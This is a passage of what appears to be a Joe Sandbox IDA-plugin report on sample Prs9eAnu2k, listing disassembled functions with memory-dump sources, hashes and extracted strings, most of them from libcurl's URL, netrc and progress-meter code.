                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: localeconv
                                            • String ID: $d$nil)
                                            • API String ID: 3737801528-394766432
                                            • Opcode ID: 228c9d20e2b52871e7980009a9aaa3e32e9ec71fb890a716da8e61f0a9a8304b
                                            • Instruction ID: 93eba7ad1141371fbe3e5e807ae68a628881fc1dad8e759ab08f420f3f237434
                                            • Opcode Fuzzy Hash: 228c9d20e2b52871e7980009a9aaa3e32e9ec71fb890a716da8e61f0a9a8304b
                                            • Instruction Fuzzy Hash: 68138B70608341CFD724CF28C0846AABBE1BF89355F24492DED959B361D7B9ED49CB82
                                            Function 003E4940 Relevance: 17.0, Strings: 13, Instructions: 731COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: %3lld %s %3lld %s %3lld %s %s %s %s %s %s %s$ %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed$%2lld:%02lld:%02lld$%3lldd %02lldh$%7lldd$** Resuming transfer from byte position %lld$--:-$--:-$--:-$-:--$-:--$-:--$Callback aborted
                                            • API String ID: 0-122532811
                                            • Opcode ID: 757883ab65f5c6d2386af5aa9ebe86961f66e36d13713655b7cb254e708111a2
                                            • Instruction ID: f459bd7c008847ee863561d8e85bcabdc860cc0203b29be243e340123aba3493
                                            • Opcode Fuzzy Hash: 757883ab65f5c6d2386af5aa9ebe86961f66e36d13713655b7cb254e708111a2
                                            • Instruction Fuzzy Hash: BF42E771B08741AFD719DE25CC41B6BB6EAEBC8704F048A2CF54D9B3D1E775A8048B92
                                            Function 003E3ED0 Relevance: 15.7, Strings: 12, Instructions: 689COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: Apr$Aug$Dec$Feb$Jan$Jul$Jun$Mar$May$Nov$Oct$Sep
                                            • API String ID: 0-3977460686
                                            • Opcode ID: 077e1f831ec448b9c89b8416109471dff023c60a72ef960d29fd6a9ab5a2dc39
                                            • Instruction ID: 7692b797764064775a9c4a2de7c698b609dfec7f00900eb698959be430719e05
                                            • Opcode Fuzzy Hash: 077e1f831ec448b9c89b8416109471dff023c60a72ef960d29fd6a9ab5a2dc39
                                            • Instruction Fuzzy Hash: 28328E71A043A14BC7129E2A9C4135FB7DAAF99320F064B2DF9B59B3D2E734DD418782
                                            Function 003F4F70 Relevance: 12.2, Strings: 9, Instructions: 911COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: %.*s%%25%s]$%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s$%s://$:;@?+$file$file://%s%s%s$https$urlapi.c$xn--
                                            • API String ID: 0-1914377741
                                            • Opcode ID: 2dc2fc07f979b099150140923db3f0579c26f7722538eee0e49086920221b00c
                                            • Instruction ID: 813f0748c1548bd5733e42afb5f193a5feeb8711ff00073bdc38902dd561396f
                                            • Opcode Fuzzy Hash: 2dc2fc07f979b099150140923db3f0579c26f7722538eee0e49086920221b00c
                                            • Instruction Fuzzy Hash: C1725B71608B499FE7338A28C5467B6B7D29F91344F06862CEF895B293E776DC84C381
                                            Function 003E5DB0 Relevance: 11.4, Strings: 9, Instructions: 114COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: %2lld.%0lldG$%2lld.%0lldM$%4lldG$%4lldM$%4lldP$%4lldT$%4lldk$%5lld$CDHE-ARIA256-GCM-SHA384
                                            • API String ID: 0-2514761685
                                            • Opcode ID: 0fa90797ceae1975a9deb31d212761db84f6955bb30e6f66b147848d81eda37d
                                            • Instruction ID: a2f4cb41dca80f13ad4eed8856a931a9747483deb280748a69f80eddbe4f3b58
                                            • Opcode Fuzzy Hash: 0fa90797ceae1975a9deb31d212761db84f6955bb30e6f66b147848d81eda37d
                                            • Instruction Fuzzy Hash: 4131D763B94A9566F729110ADC46F3F405FC3C4B18E7AC33AB60AAB6C1DCF59D0042A5
                                            Function 00489880 Relevance: 10.2, Strings: 8, Instructions: 226COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: attempts$ndot$retr$retr$rota$time$use-$usev
                                            • API String ID: 0-2058201250
                                            • Opcode ID: 5eb3fdf70657a8560de693f3aaefb5bc56a29d6fb64f8867fed4d5b8f9e0e42a
                                            • Instruction ID: 2692a608332ed5edbd71cc2af5bc0f02022affc7c1e5da115b8971c9341e8554
                                            • Opcode Fuzzy Hash: 5eb3fdf70657a8560de693f3aaefb5bc56a29d6fb64f8867fed4d5b8f9e0e42a
                                            • Instruction Fuzzy Hash: B1610FA1A0870167DB14B625AC52B3F76D9AB91348F084C3FFC4A96383F979ED148357
                                            Function 0049EF90 Relevance: 9.4, Strings: 7, Instructions: 688COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: $.$;$?$?$xn--$xn--
                                            • API String ID: 0-543057197
                                            • Opcode ID: d4e6f51f43e2ef4b561e4ceac08900f251a92ec942f388c8c408a990ac62b658
                                            • Instruction ID: 1b6fce20ce4c8526c9ef246dd87f4a1ae3f029cb2020639b8b2274667d5e3930
                                            • Opcode Fuzzy Hash: d4e6f51f43e2ef4b561e4ceac08900f251a92ec942f388c8c408a990ac62b658
                                            • Instruction Fuzzy Hash: 6622E6B1A043019FEF209A249C41B6B7AD8AFA5348F04453EF845D7292F77DED09C79A
                                            Function 003DA960 Relevance: 9.0, Strings: 6, Instructions: 1491COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: (nil)$-$.%d$0$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$0123456789abcdefghijklmnopqrstuvwxyz
                                            • API String ID: 0-2555271450
                                            • Opcode ID: 9b7d0f90130a12d25d02eb01b6dd7d980a77bd902fc67a65cc16525ec000c6d8
                                            • Instruction ID: 3a6b5c21833923f5dd4db26cc2b33379b0dc336a66ebbe17d3b21e3470959964
                                            • Opcode Fuzzy Hash: 9b7d0f90130a12d25d02eb01b6dd7d980a77bd902fc67a65cc16525ec000c6d8
                                            • Instruction Fuzzy Hash: E5C27C32A08741CFC716CF28D49066AF7E6BFC9354F16892EE8999B351D730ED458B82
                                            Function 003DE620 Relevance: 8.5, Strings: 6, Instructions: 1028COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: (nil)$-$.%d$0$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$0123456789abcdefghijklmnopqrstuvwxyz
                                            • API String ID: 0-2555271450
                                            • Opcode ID: 53da66ed1b4c1288640354b5f183292c827e9a3bd4f5a75f2ee338fccf7bd90c
                                            • Instruction ID: 7b20b1729b25ac3f3b0320168b9ca600d2ea5ddbce434b95563fe2c7246229a5
                                            • Opcode Fuzzy Hash: 53da66ed1b4c1288640354b5f183292c827e9a3bd4f5a75f2ee338fccf7bd90c
                                            • Instruction Fuzzy Hash: 0982C272A083419FD715DE19D88472BBBE1AFC5324F158A2EF8AA9B391D730DC05CB52
                                            Function 00436210 Relevance: 7.9, Strings: 6, Instructions: 419COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: default$login$macdef$machine$netrc.c$password
                                            • API String ID: 0-1043775505
                                            • Opcode ID: 812bd5e77ca46e764647175c2cf033d852e48cedc057824b4dc55c0ef127b43c
                                            • Instruction ID: 6439d7fba14287b52285e660623e75b2e3fc45ea258dffbf2401c87d52850f94
                                            • Opcode Fuzzy Hash: 812bd5e77ca46e764647175c2cf033d852e48cedc057824b4dc55c0ef127b43c
                                            • Instruction Fuzzy Hash: 17E13671508342BBE3119E20984676F7BD4AF89308F15942EFC854B382E3BD9949C79B
                                            Function 0043A7F0 Relevance: 6.9, Strings: 5, Instructions: 687COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: ????$Invalid input packet$SMB upload needs to know the size up front$\$\\
                                            • API String ID: 0-4201740241
                                            • Opcode ID: c943cea1845da2dfeba1b40777e880251f2d3ef0b292a8f4c907691dc1c18cf0
                                            • Instruction ID: 777bd196a322b3efa756c542117acbe1e3e5e87c16fc5ae56527566b0a8ca678
                                            • Opcode Fuzzy Hash: c943cea1845da2dfeba1b40777e880251f2d3ef0b292a8f4c907691dc1c18cf0
                                            • Instruction Fuzzy Hash: ED62D2B0514741DBD715CF24C4907AAB3E4FF98304F04961EE98D8B392E778EA94CB9A
                                            Function 00753A70 Relevance: 6.8, Strings: 5, Instructions: 517COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
